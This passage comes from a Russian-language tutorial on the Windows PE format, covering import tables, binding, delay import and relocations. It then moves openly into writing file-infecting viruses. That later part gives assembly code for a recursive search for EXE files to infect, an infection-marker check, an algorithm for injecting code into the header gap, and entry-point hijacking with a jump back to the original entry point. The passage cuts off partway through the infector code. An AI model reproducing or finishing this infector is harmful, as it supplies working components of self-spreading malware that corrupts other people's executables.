        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };

Это поле содержит RVAмассива двойных слов. Каждый элемент этого массива является объединением  IMAGE_THUNK_DATA32 и соответствует функции PE-файла соответствующего элементу IMAGE_IMPORT_DESCRIPTOR. Это поле равно нулю, если это последний элемент в массиве элементов типа IMAGE_IMPORT_DESCRIPTOR. Это поле должно быть больше SizeOfHeaders и меньше либо равно SizeOfImage, иначе файл загружен не будет.

DWORD   TimeDateStamp;

Временная отметка, когда был создан данный файл. От этого поля зависит, как загрузчик будет обрабатывать импорт данного файла. Если оно равно нулю, то загрузчик обрабатывает таблицу импорта как надо, т.е. используя стандартный механизм. Если она равна -1, то загрузчик не смотрит на массивы OriginalFirstThunk и FirstThunk, а полагает, что данная библиотека импортируется через Bound-импорт (о нем позже). Если TimeDateStampобозначает временную метку, то если она равна временной метке импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов IAT. Если штамп времени есть, но он не совпадает с штампом DLL, то загрузчик настраивает таблицу как обычно. Т.о. предполагается, что адреса функций заданы во время компиляции, т.е. используется «биндинг» (подробнее об этом ниже).

DWORD   ForwarderChain;

Это поле связано с передачей экспорта, описанного выше. Это поле содержит индекс в массиве FirstThunk. Функция указанная этим полем, будет послана в другую DLL. Загрузчик не проверяет это поле, так что оно может иметь любой значение.

DWORD   Name;

Имя DLL, откуда импортируются функции.

DWORD   FirstThunk;

RVAмассива двойных слов. Каждый элемент массива типа IMAGE_THUNK_DATA32. Об этом типе далее.

В структуре IMAGE_IMPORT_DESCRIPTOR содержатся указатели на массивы элементов типа IMAGE_THUNK_DATA. Эти массивы называются таблицами адресов импорта (IAT – importaddresstable). Вообще, т.к. массив OriginalFirstThunkне патчится загрузчиком, то только FirstThunkсчитается настоящей таблицей адресов импорта – IAT.

Теперь необходимо описать двойное слово IMAGE_THUNK_DATA. Он определено следующим образом:

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;      // PBYTE 
        DWORD Function;             // PDWORD
        DWORD Ordinal;
        DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA32;

Это двойное слово соответствует одной импортируемой функции. Это двойное слово отличается,  если файл был загружен в память или была ли функция импортирована по имени или по номеру. Если функция импортируется по номеру (ординалу), старший бит двойного слова устанавливается в 1. Импорт по ординалу производиться очень редко. Мы должны убрать эту единицу в последнем разряде и использовать полученное значение как ординал.

Если происходит импорт по имени, то двойное слово содержит RVAструктуры IMAGE_IMPORT_BY_NAME. Эта структура определена следующим образом:

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

WORD    Hint;

Укороченный идентификатор точки входа.

BYTE    Name[?];

Название импортированной функции.

Стандартный механизм импорта

В таблице импорта вначале идет массив из элементов типа IMAGE_IMPORT_DESCRIPTOR. Каждый элемент соответствует одной DLLиз которой импортируются функции. Самыми главными частями IMAGE_IMPORT_DESCRIPTORявляются имя DLLи два массива элементов типа IMAGE_THUNK_DATA32. В принципе они эквивалентны и идут параллельно. Но есть определенная логическая нагрузка на один и второй массивы. Конец массива IMAGE_THUNK_DATA32 определяется нулевым DWORD’ом. Первый массив – OriginalFirstThunk, остается неизменным при загрузке. Второй массив — FirstThunk правиться при запуске программы, загрузчиком. Вот он содержит адреса всех импортируемых функций. Вообще поле OriginalFirstThunk может быть любым и не используется загрузчиком. Для системных DLLмассив OriginalFirstThunk сразу содержит адреса импортируемых функций. Т.е. для таких DLL, массив OriginalFirstThunk содержит не элемент IMAGE_THUNK_DATA32, а уже адрес для импортируемой функции данным модулем. Второй массив содержит, если функция импортируется по имени, RVAна структуру IMAGE_IMPORT_BY_NAME. Эта структура, содержит имя нужной функции. Сначала загрузчик просматривает массив IMAGE_IMPORT_DESCRIPTOR и проецирует в адресное пространство текущего процесса нужные модули, содержащие импортируемые функции. Далее загрузчик просматривает массив из IMAGE_THUNK_DATA32 и вызывает для каждого имени GetProcAddress. После вызова GetProcAddressвозвращает адрес точки входа в функцию. Этот адрес записывается на место, где был RVAIMAGE_IMPORT_BY_NAME. Точно также происходит импорт по ординалу, только GetProcAddressпередается не указатель на имя функции, а ординал. Если импортируется переданная функция, то в DWORD’е массива FirstThunkсодержиться указатель на строку форвардной функции. Все эти действия ведутся с массивом имен FirstThunk. Массив OriginalFirstThunkостается прежним. Линкеры фирмы Borlandделают массив OriginalFirstThunkнулевым, что можно считать ошибкой, но мы должны с ней считаться.

Пример работы с таблицей импорта

Посмотрите код, который выводит на экран всю таблицу импорта. Вы должны спроецировать PE-файл с помощью CreateFile->CreateFileMapping->MapViewOfFile. В hMap передайте значение возвращенное MapViewOfFile.

void printImportTable(long hMap)
{
	PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
	PIMAGE_IMPORT_DESCRIPTOR Import=(PIMAGE_IMPORT_DESCRIPTOR)
	   (RVAtoOffset((long)hMap,
	   pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
	        VirtualAddress)+(long)hMap);
	IMAGE_THUNK_DATA32* Thunk;
	PIMAGE_IMPORT_BY_NAME ImportName;
	int x=0;
	while (Import-»Characteristics!=0)
	{
		x++;
		printf("--------Library: %s-----------\n TimeDateStamp:
		       %X\n ForwardedChain:%X\n OriginalFirstThunk:%X\n FirstThunk:
			   %X\n",RVAtoOffset((long)hMap,Import-»Name)+(long)hMap,
			   Import-»TimeDateStamp,Import-»ForwarderChain,
			   Import-»OriginalFirstThunk,Import-»FirstThunk);
		Thunk=(IMAGE_THUNK_DATA32*)(RVAtoOffset((long)hMap,
		      Import-»OriginalFirstThunk)+(long)hMap);
		while (Thunk-»u1.Ordinal!=0)
		{
			if (  ( (Thunk-»u1.Ordinal) & 0x80000000)!=0)
			{
				printf("Ordinal: %X\n",
				       (long)(IMAGE_THUNK_DATA32*)Thunk-»u1.Ordinal);
			}
			else 
			{
				ImportName=(PIMAGE_IMPORT_BY_NAME)(RVAtoOffset((long)hMap,
				           (long)(Thunk-»u1.AddressOfData))+(long)(hMap));
				printf("NameOfFunction:%s\n",&(ImportName-»Name));
			}
			Thunk++;
		}
		Import++;
	}
}

Биндинг

Компанией Microsoft была создана утилита, которая называется BIND. Ей на вход подается PE-файл, а она записывает в массив OriginalFirstThunk, таблицы импорта данного файла, адреса функций которые данный PE-файл использует. Такая операция называется биндингом (binding) и служит в целях оптимизации процесса загрузки исполняемого файла. Естьдвавидабиндинга – OLD STYLE BINDING иNEW STYLE BINDING.

ВначалеобOLD STYLE BINDING. Адреса функций таблицы импорта уже известны до загрузки программы. Загрузчик файла смотрит на поле TimeDateStamp структуры IMAGE_IMPORT_DESCRIPTOR. Если это поле равно полю TimeDateStampтой DLL, из которой импортируются функции, то адреса импортированных функций не изменяются и загрузчик ничего не делает, т.к. правильные адреса уже находятся в модуле. Если поля TimeDateStamp в DLLи в таблице импорта не равны, то загрузчик патчит адреса импортированных функций с помощью стандартного механизма. Поле TimeDateStampтребуемой DLLможет иметь значение 0, что происходит, если для данной функции не было биндинга. В этом случае загрузчик пропатчит все адреса импортируемых функций, для которых поле TimeDateStampравно нулю. Если DLLбыла загружена не по своему предпочтительному адресу, то также происходит патч соответствующих адресов функций.

Если DLLэкспортирует функцию, код которой находиться в другой DLL, т.е. при передаче экспорта, то используется поле ForwarderChainструктуры IMAGE_IMPORT_DESCRIPTOR. Поле ForwarderChainсодержит индекс в массиве FirstThunk первого импортируемого форварда. Если переданная функция – последняя, то это значение элемента соответствующего данному индексу равно   -1. Если это не последний форвард в цепочке, то элемент содержит следующий индекс в этом же массиве. Т.о. происходит проход по цепочке переданных функций и заполнение адресами соответствующих двойных слов массива FirstThunk. Т.к. у нас есть параллельный массив — OriginalFirstThunk, то мы используем информацию из него об именах форвардных функций. Обратите внимание, то массив OriginalFirstThunkобязан быть не нулевым, чтобы использовать биндинг форвардных функций. Если утилите BIND передается PE-файл в котором нулевой массив OriginalFirstThunk, то она отказывается обрабатывать такой файл.

Теперь о NEW STYLE BINDING. Перед загрузкой файла в массиве элементов типа IMAGE_THUNK_DATA уже также содержатся адреса импортируемых функций. Изменится механизм импорта переданных функций.  При NEWSTYLEBINDING поля TimeDateStampи ForwarderChain для DLL, из которых происходит экспорт форвардов, равны -1. Загрузчик ориентируется на эти значения -1, и использует директорию bound-импорта, где содержится информация о форвардных функциях.

Bound-импорт

Bound-импорт называют также — привязанный импорт. В массиве DataDirectoryэлемент с индексом 11 соответствует директории отложенного импорта. Отложенный импорт используется при NEWSTYLEBINDING. Используя bound-импорт можно также оптимизировать процесс загрузки, т.к. есть возможность не пропатчивать, даже адреса, переданных функций. С этой директорией связан массив структур IMAGE_BOUND_IMPORT_DESCRIPTOR, каждая из которых определена следующим образом:

typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
    DWORD   TimeDateStamp;
    WORD    OffsetModuleName;
    WORD    NumberOfModuleForwarderRefs;
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
} IMAGE_BOUND_IMPORT_DESCRIPTOR,  *PIMAGE_BOUND_IMPORT_DESCRIPTOR; 

DWORD   TimeDateStamp;

Временная метка. Она нужна для того, чтобы узнать не изменилась версия DLL, к которой привязаны адреса. Если это значение совпадает со значением временного штампа у библиотеки все отлично, т.е. не надо патчить переданные функции, иначе будет использоваться стандартный механизм импорта. Нулевое значение времени соответствует любому времени.

WORD    OffsetModuleName;

Смещение имени DLL, начиная от начала данной директории. Именно смещение, а не RVA!

WORD    NumberOfModuleForwarderRefs;

Счетчик – указатель количества структур типа IMAGE_BOUND_FORWARDER_REF, которые следуют после данной структуры. Строение их такое, как и у IMAGE_BOUND_IMPORT_DESCRIPTOR, только поле NumberOfModuleForwarderRefs зарезервировано.

Пример работы с Bound-импортом

void printBoundImport(long hMap)
{
	PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
	PIMAGE_BOUND_IMPORT_DESCRIPTOR Bound=(PIMAGE_BOUND_IMPORT_DESCRIPTOR)
	    (RVAtoOffset((long)hMap,
		pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].
		     VirtualAddress)+(long)hMap);
	printf("DLL Name:%s TimeDateStamp:%X",(long)Bound+(long)
	       (Bound-»OffsetModuleName),Bound-»TimeDateStamp);
	for (int i=0;i«Bound-»NumberOfModuleForwarderRefs;i++)
	{
		Bound++;
		printf("DLL Name:%s TimeDateStamp:%X\n",
		      (long)Bound+(long)(Bound-»OffsetModuleName), 
			  Bound-»TimeDateStamp);
	}
}

Delay-импорт

Delay-импорт, называется также, — отложенный импорт. Delay-импорт – это промежуточный подход между неявным импортом и явным импортом с помощью LoadLibrary/GetProcAddress. Механизм отложенного импорта – это не свойство операционной  системы, это дополнительный код в Вашей программе, с помощью которого оптимизируется импорт API-функций. Этот дополнительный код называется – DelayHelper. Если Ваша программа запускает впервые API-функцию, то код Delay-импорта вызывает LoadLibraryи GetProcAddress. Адрес впервые вызванной функции будет сохранен в таблице импортированных функций отложенного импорта. На данные имеющие отношение к отложенному импорту указывает запись номер IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   в таблице директорий. RVAв DataDirectoryуказывает на массив структур ImgDelayDescr. Эта структура определена в заголовочном файле DELAYIMP.H. Вот ее вид:

typedef struct ImgDelayDescr {
    DWORD           grAttrs;        // attributes
    LPCSTR          szName;         // pointer to dll name
    HMODULE *       phmod;          // address of module handle
    PImgThunkData   pIAT;           // address of the IAT
    PCImgThunkData  pINT;           // address of the INT
    PCImgThunkData  pBoundIAT;      // address of the optional bound IAT
    PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT
    DWORD           dwTimeStamp;    // 0 if not bound,
                                    // O.W. date/time stamp of DLL bound to (Old BIND)
    } ImgDelayDescr, * PImgDelayDescr;

Каждая структура соответствует одной DLLимпортированной с помощью отложенного импорта. В данном массиве присутствует указатель на массив IAT, идентичный массиву, используемому в стандартном механизме импорта, а также массив таблицы импортируемых имен INT (ImportNameTable). В IAT помещаются адреса при первом вызове соответствующей функции. Рассмотрим все поле структуры по порядку:

DWORD           grAttrs;

Это поле указывает на тип адресации, применяющийся в структурах Delay-импорта. Если это поле равно 1, то адреса – RVA, если – 0, то VA.

LPCSTR          szName;

Указатель RVA/VAна ASCIIZ-строку с именем загружаемой DLL.

HMODULE *       phmod

В файле это поле может быть любым. Но при загрузке, лоадер помещает в него описатель DLL.

PImgThunkData   pIAT;

RVA/VA-указатель на таблицу импортированных адресов (IAT). Если это значение равно нулю, то это последний элемент массива.

PCImgThunkData  pINT;

RVA/VA-указатель на таблицу имен функций (INT). Если это значение равно нулю, то это последний элемент массива.

PCImgThunkData  pBoundIAT;

RVA/VA-указатель на таблицу адресов функций Bound-импорта.

PCImgThunkData  pUnloadIAT;

Когда DLLвыгружается из памяти, то она имеет возможность восстановить таблицу адресов отложенного импорта в исходное состояние, обратившись к ее оригинальной копии. Указатель на оригинальную копию находиться в данном поле. Это аналог массива OriginalFirstThunk.

DWORD           dwTimeStamp;

Временная метка. Возможно не проходить по всем функциям для данной библиотеки. Если временная метка не пуста и таблица Bound-импорта не пуста, то загрузчик не будет заполнять IAT, а воспользуется таблицей bound-IAT. В данном случае здесь таблица bound-импорта отдельная и она используется в поддержку delay-импорта.

Пример работы с Delay-импортом

Представляю Вашему вниманию, пример процедуры – дампера таблицы отложенного импорта:

void printDelayImport(long hMap)
{
	PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
	PImgDelayDescr Delay=(PImgDelayDescr)(RVAtoOffset((long)hMap,
	     pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].
		 VirtualAddress)+(long)hMap);
	while (Delay-»pIAT!=0)
	{
		if (Delay-»grAttrs==1)
		{
			printf("-------%s-------\n",
			      RVAtoOffset((long)hMap,(long)(Delay-»szName))+(long)hMap);
			printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table: 
			       %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",
				   Delay-»grAttrs,Delay-»dwTimeStamp,Delay-»pIAT,Delay-»pINT,
				   Delay-»pBoundIAT,Delay-»pUnloadIAT);

		}
		else
		{
			printf("-------%s-------\n",RVAtoOffset((long)hMap,
			      (long)(Delay-»szName-pPE-»OptionalHeader.ImageBase))+(long)hMap);
			printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table: 
			       %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",
				   Delay-»grAttrs,Delay-»dwTimeStamp,Delay-»pIAT,Delay-»pINT,
				   Delay-»pBoundIAT,Delay-»pUnloadIAT);
		}
		Delay++;
	}
}

Особенности импорта на конкретных реализациях загрузчиков

В разных ОС импорт может быть реализован по-разному. Механизмов – целых 3! И загрузчик вправе выбирать, какой из них, и в каком порядке, в случае провала, будет использован. Загрузчик, например, может сразу просмотреть цепочку директорий и сразу перейти к bound-импорту. Если он валиден, то использовать его для импорта. Если он не корректный, то перейти к стандартному механизму импорта. Т.о., в зависимости от ОС, загрузчик в праве выбирать какой механизм импорта ему использовать. В любом случае Вы можете узнать, как происходит импорт, исследуя поведение загрузчика с помощью дизассемблирования. Но если мы хотим сделать переносимый вирус, то на эти особенности полагаться ни в коем случае нельзя.

Базовые поправки

Если PE-файл не загружается по ImageBase, то применяются базовые поправки. Для данной секции применим особый термин – дельта. Дельта — это разница по модулю между базовым адресом для PE-файла и значением ImageBaseв опциональном заголовке. Если файл загрузился по базовому адресу, то базовые поправки не нужны. Чаще EXEфайл грузится по своему базовому адресу, но DLLобычно – нет. Базовые поправки – это набор смещений, по которым нужно прибавить дельту. Для базовых поправок часто выделяется отдельная секция .reloc, но они также могут не иметь отдельной секции, а быть частью какой-либо секции. Поправки упаковываются сериями смежных кусков различной длины. Каждый кусок описывает поправки для одной четырехкилобайтовой страницы. Секция базовых поправок начинается с массива структур IMAGE_BASE_RELOCATION, которая выглядит следующим образом:

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
   // WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

DWORD   VirtualAddress;

НачальныйRVA дляданногокускапоправок. Смещение каждой поправки, которая следует дальше, добавляется к данной величине для получения RVA, для которого должна быть применена поправка.

DWORD   SizeOfBlock;

Размер данной поправки + все последующие поправки типа WORD. Можно определить количество поправок в данном блоке с помощью формулы

(6)                                           X = (SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION))/2

WORD    TypeOffset

Это не одно слово, а массив слов, количество элементов в котором вычисляется с помощью формулы (6). 12 младших разрядов каждого из этих слов представляют поправочное смещение, которое должно быть прибавлено к значению из поля VirtualAddressиз данного блока поправок. 4 старших разряда – тип поправки. Для процессоров Intelдля типа поправки есть единственное возможное значение – IMAGE_REL_BASED_HIGHLOW. При данном значении к двойному слову по вычисленному адресу смещения прибавляется дельта.

Пример работы с базовыми поправками

Процедура предполагает, что все поправки типа IMAGE_REL_BASED_HIGHLOW.

void printRelocTable(long hMap)
{
	PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
	PIMAGE_BASE_RELOCATION Reloc=(PIMAGE_BASE_RELOCATION)
    (RVAtoOffset((long)hMap,
	pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
	     VirtualAddress)+(long)hMap);
	while (Reloc-»VirtualAddress!=0)
	{
		int number=(Reloc-»SizeOfBlock-8)/2;
		WORD* Rel=(WORD *)((long)Reloc+8);
		printf("Virtual Address: %X\nNumber of Relocation:Relocation\n",
		       Reloc-»VirtualAddress);
		for (int i=0;i«number-1;i++)
		{

			printf("%d:%X\n",i,(0x0FFF)&(Rel[i]));
		}
		Reloc=(PIMAGE_BASE_RELOCATION)((long)Reloc-»SizeOfBlock+(long)Reloc);
	}
}

Программа PE Inside Console Version

В рамках данной главы я также выкладываю пример работы с PE-файлами консольной программы PE Inside. Просто посмотрите, как это работает и все. Все построено на функциях и макросах и не должно вызвать у Вас проблем. Скачайте исходный код здесь (cсылка на файл PEInsideConsole.rar).

Программа PEInsidev0.5alfa

Данная программа демонстрирует работу с PE-файлами. Она была сделана в рамках написания данной главы и имеет открытый исходный код, который Вы можете использовать в своих целях. При первом запуске программа добавляет себя в контекстное меню для PE-файлов, чтобы быстро просмотреть или отредактировать поля PE-файла. Скачать программу можно здесь (ссылка на файл PEInsideBin.rar). Скачать исходный код проекта VisualC++ можно здесь (ссылка на файл PEInsideSrc.rar). Это только версия 0.5alfa и она мало чего умеет, но далее ее возможности будут расширяться.

PE64

PE64 – это расширение PE32 на случай 64-разрядной платформы. Не бойтесь, изменения между этими форматами минимальны, т.к. все что изменяется — это адреса в памяти. Поэтому все 32-разрядные поля превращаюся в 64-разрядные. В Си для адресации используется тип __int64. Но не забывайте, что в 32-х разрядных процессорах все регистры 32-разрядные по определению. Так что для работы с таким типом используются два регистра. Сами структуры в PE-файле остались прежними. Естественно изменились смещения. Все что Вам понадобиться для работы с этим форматом, так это спецификация Microsoft. А в теории Вы можете опираться на имеющиеся здесь выкладки.

Домашнее задание

Здесь я предлагаю оторваться от чтения и попробовать все прочтенное самому. Единственным способом понять все тонкости PE-формата — это трогать ручками все структуры. Попробуйте написать дамперы соответствующих структур. Откройте hex-редактор и найдите все структуры, попробуйте изменить чего-нибудь etc. Я собрал все нужные структуры в один файл и выкладываю здесь (ссылка на файл pestruct.doc). Распечатайте этот документ и повесьте у себя рядом с кроватью. Это приблизит Вас к истинному пониманию структуры PE-файлов. Очень желательно знать все смещения соответствующих структур наизусть, дабы не отстать от Мыша 😉

Способы внедрения внутрь исполняемого файла

Вот мы и добрались до самого главного, т.е. к чему стремились. Все смещения структур PE-файла мы знаем наизусть, знаем как загрузчик работаем с PE-файлами, значит можно заражать файлы. Школьники ходят в школу, учатся, кушают в столовой. Студенты с папочками и с очочками занимаются, а мы пишем вирусы, а все остальное mustdie. Здесь будут рассмотрены более или менее стандартные способы и наиболее простые.

Мы отвлеклись. Вот стандартные действия Windows-вируса:

1)      Поиск файлов для заражения.

2)      Проверка, не заражен ли уже файл.

3)      Если нет, то заражаем.

Исходя из этих действий выдвигается новая тема. Итак…

Поиск файлов

Когда наш детеныш запускается, то он начинает поиск файлов и соответственно заражение. Обычно вирусы не заражают сразу все файлы, чтобы быть не замеченными. Сейчас мы напишем процедуру, которая ищет файлы. Если находиться директория, то для этого директории рекурсивно вызывается эта же процедура. Рекурсия – это очень интересная вещь в программировании. Мы еще будем обращаться к этому понятию. Т.к. мы программируем в 3 кольце защиты, то в этом кольце для поиска файлов используются три API-функции: FindFirstFile, FindNextFile, FindClose – соответственно начало поиска, продолжение поиска и завершение поиска. Эта процедура похожа на «Танго мастдайное». Кому надо тот понял. Процедура требует два параметра. Процедура универсальна, сохраняет все регистры. В этом примере я не стал ее оптимизировать. Все что нужно об оптимизации Вы узнаете в соответствующей главе. Но процедура не до конца доделана. Точнее говоря, файлы она ищет все, но ничего не делает с ними. Вы должны добавить всего лишь, что делать с найденными файлами. Что получить имя найденного файла используйте член структуры WIN32_FIND_DATA – cFileName. Чтобы получить путь для этого файла используйте локальную переменную Path. Она следующего вида: <Путь к файлу>F3,F3,F3,0. Где F3 и 0 – это байты. Чтобы получить нормальный путь к файлу надо убрать 3 F3 байта и слить эту строку со строкой содержащей имя файла. В примере немного позже Вы увидите, как это делается. Я добавляю эти лишние байты, для того, чтобы для следующих папок в данной, путь формировался правильно. Эти байты играют роль маски в конце, которая потом удаляется.

;#################################################################
;Процедура FindEXE рекурсивного поиска файлов 
;Вход: Dir - адрес ASCIIZ-строки с именем директории где производить поиск
;	Mask2 -адрес ASCIIZ-строки "*.*",0 
;#################################################################
FindEXE proc Dir:DWORD, Mask2:DWORD
LOCAL Find:WIN32_FIND_DATA
LOCAL hFile:DWORD
LOCAL Path[1000]:BYTE
pushad
;#############################Обработка переданного пути##############################
invoke lstrlen,Dir;вычисляем длину переданного пути

mov esi,Dir
lea edi,Path
mov ecx,eax
rep movsb;получаем в Path - путь для поиска

lea edi,Path
add edi,eax
mov esi,Mask2
mov ecx,5
rep movsb;Path=Path+Mask+\0
;#############################Обработка переданного пути##############################

lea ebx,Find
lea edi,Path
invoke FindFirstFile,edi,ebx;начало поиска
.IF eax!=INVALID_HANDLE_VALUE;если начало поиска удачно
	mov hFile,eax
invoke FindNextFile,hFile,ADDR Find;продолжение поиска
.WHILE eax!=0;если продолжение поиска удачно
	mov ebx,Find.dwFileAttributes
	and ebx,FILE_ATTRIBUTE_DIRECTORY
	lea ecx,Find.cFileName
	.IF (ebx==FILE_ATTRIBUTE_DIRECTORY) && (byte ptr [ecx]!='.')
		lea ebx,Path
;####################Удаляем '\*.*'#########################################
		push ebx
		push ebx
		call lstrlen
		pop ebx
		add ebx,eax
		sub ebx,3
		mov edi,ebx
		mov eax,0
		mov ecx,3
		cld
		rep stosb;удаляем маску
;####################END Удаляем '\*.*'#########################################
;#######################Добавляем имя директории к строке######################
		lea ebx,Path
		push ebx
		call lstrlen
		add ebx,eax
		mov edi,ebx
		
		push edi
		lea edx,Find.cFileName
		push edx
		call lstrlen	
		mov ecx,eax
		inc ecx
		pop edi

		lea edx,Find.cFileName
		mov esi,edx
		cld
		rep movsb
		mov byte ptr [edi],0
;#######################END Добавляем имя директории к строке##################
		lea ebx,Path
		push Mask2
		push ebx
		call FindEXE;рекурсивный вызов
		std
		
		lea ebx,Path
		push ebx
		call lstrlen
		add ebx,eax
		mov edi,ebx

		mov ecx,10000
		mov al,'\'
		repne scasb
		add edi,2
		mov ecx,3
		mov eax,0f3h
		cld
		rep stosb
		mov byte ptr [edi],0
	.ELSE
;###############################Не EXE ли это#########################################
		lea ebx,Find.cFileName;не exe ли это?
		push ebx
		push ebx
		call lstrlen
		pop ebx
		add ebx,eax
		sub ebx,4
		.IF (dword ptr [ebx]=='exe.')||(dword ptr [ebx]=='EXE.')
			;EXE ФАЙЛ НАЙДЕН!!!	
		.ENDIF
;###############################Не EXE ли это#########################################
	.ENDIF
	invoke FindNextFile,hFile,ADDR Find;продолжение поиска
.ENDW		
.ENDIF
popad
ret	
FindEXE endp
;#################################################################
;Конец Процедуры FindEXE рекурсивного поиска файлов 
;#################################################################

Проверка PE-файла на правильность

Как проверить, что PE-файл является вилидным я рассказывал в главе 1. Просто, используйте процедуру ValidPE, передавая ей правильные параметры.

Способ 1. Внедрение в заголовок

У нас в распоряжении есть исполняемый файл, мы должны заразить его. Давайте рассмотрим первый способ. Как Вы уже знаете, в начале PE-файла идtn PE-заголовок. Между окончанием таблицы секции и первой секцией есть промежуток. Этот промежуток появляется из-за файлового выравнивания выравнивания (значение FileAlignment в файловом заголовке). Туда мы можем впихнуть исполняемый вредоносный код. Плохо, что места мало, значит либо наш вирус будет очень маленьким или очень оптимизированным, либо в это место мы внедрим только часть вируса. Хорошо то, что размер файла не изменяется. Запись в данную область возможна, если изменить атрибуты соответствующих страниц. Рассмотрим алгоритм внедрения кода, используя запись в заголовок:

  1. Найти конец таблицы секций
  2. Найти физическое смещение 1 секции
  3. Вычислить максимальный размер кода, который можно внедрить
  4. Проверить bound-импорты. Если они присутствуют, то уничтожить запись о них в таблице директорий.
  5. Записать код.
  6. В конец кода установить jmp нормальную AddressOfEntryPoint
  7. Изменить AddressOfEntryPoint
  8. Изменить SizeOfHeaders на физическое смещение последней секции
  9. Есть шаги, которые необходимо будет выполнять при любом способе заражения. Я опишу их в каждом разделе.

Получение важных частей отображения

При работе с PE-файлом мы будем постоянно обращаться к некоторым областям, важными для нас. Необходимо получить указатели на них, чтобы постоянно не вычислять эти значения. Нам будут нужны следующие значения: PE-заголовок, таблица секций, таблица директорий, файловый заголовок, опциональный заголовок. В этом примере кода, предполагается что в hMap находиться проекция EXE-файла-жертвы.

.data?
	pPE dd ?
	pSectionTable dd ?
	pDataDirectory dd ?
	pFileHeader dd ?
	pOptionalHeader dd ?
………
;#####################Получение адреса PE-заголовка###############################
assume edi:ptr IMAGE_DOS_HEADER
mov edi,hMap
add edi,[edi].e_lfanew
mov pPE,edi
;#####################END Получение адреса PE-заголовка###########################
;#####################Получение адреса файлового заголовка########################
add edi,4
mov pFileHeader,edi
;#####################END Получение адреса файлового заголовка####################
;#####################Получение адреса опционального заголовка####################
add edi,sizeof IMAGE_FILE_HEADER
mov pOptionalHeader,edi
;#####################END Получение адреса опционального заголовка################
;#######################Получение адреса таблицы директорий#######################
assume edi:ptr IMAGE_OPTIONAL_HEADER
lea edi,[edi].DataDirectory
mov pDataDirectory,edi
;#######################END Получение адреса таблицы директорий###################
;############################Получение адреса талицы секций#######################
mov edi,pOptionalHeader
mov eax,[edi].NumberOfRvaAndSizes
mov edi,pDataDirectory
mov edx,sizeof IMAGE_DATA_DIRECTORY
mul edx
add edi,eax
mov pSectionTable,edi
;########################END Получение адреса таблицы секций######################

Переход на старый AddressOfEntryPoint

Когда мы внедряем код, то мы изменяем точку входа на нашу. Чтобы управление вернулось программе необходимо прыгнуть на инструкции, с которых первоначально планировалось выполнение. Ниже приведен отрывок кода, который добавляет инструкции после внедренного кода для перехода на оригинальную точку входа. Предполагается, что в pOptionalHeader находиться указатель на опциональный заголовок. Так же предполагается, что в регистре EDI находиться место, куда мы хотим записать команды перехода. Проекция EXE файла создается не как SEC_IMAGE, а как обычная, потому что при SEC_IMAGE запись на диск не производиться :(, даже если мы изменяем атрибуты страниц с помощью VirtualProtect

;#############################Переход на старую точку входа#######################
	mov esi,pOptionalHeader
	assume esi:ptr IMAGE_OPTIONAL_HEADER
	mov eax,[esi].AddressOfEntryPoint;В EAX - старая точка входа
	add eax,[esi].ImageBase
	mov byte ptr [edi],0BFh;BF - опкод команды mov edi,XXXXXXX
	inc edi
	push eax
	pop dword ptr [edi];Джампим к старой точке входа
	add edi,4
	mov word ptr [edi],0E7FFh;FFE7 - опкод команды jmp edi
;#########################END Переход на старую точку входа#######################

Код инфектора

Сначала мы получаем все важные части отображения. После проецирования файла проверяем корректен ли он. Если он корректен, то проверяем, не заражен ли он уже. Чтобы это проверить, надо знать некоторые отличительные особенности зараженности данного файла. При самом заражении в поле Win32VersionValue добавляются байты — 00BADF11Eh. Если в данном поле такие байты, то файл заражен. Посмотрите на пример:

;##############################Не заражен ли уже файл?############################
	mov edi,pOptionalHeader
	assume edi:PTR IMAGE_OPTIONAL_HEADER
	.IF [edi].Win32VersionValue==00BADF11Eh
		push MB_ICONERROR
		push offset TitleMes1
		push offset Error2Str
		push 0
		call MessageBox
		jmp Exit
	.ENDIF
;##########################END Не заражен ли уже файл?############################

Для индикатора зараженности подойдет любое поле, которое не используется загрузчиком. Я описывал ранее, какие это поля. Если посмотреть внимательно на какой-нибудь PE-файл с Bound-импортом, то обычно Bound-импорт помещается как раз в это свободное пространство нужное нам. Bound-импорт – средство оптимизации загрузки. Но если его удалить, то файл будет все равно нормально загружаться.

Теперь надо найти начало свободного пространства в заголовке. Это пространство будет начинаться сразу после таблицы секций. Посмотрите на код и мои комментарии:

;###############################Поиск конца таблицы секций+1######################
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
xor eax,eax
mov ax,[edi].NumberOfSections
mov edx,sizeof IMAGE_SECTION_HEADER
mul edx;теперь в eax - количество байт, которые занимают все секции
mov edi,pSectionTable
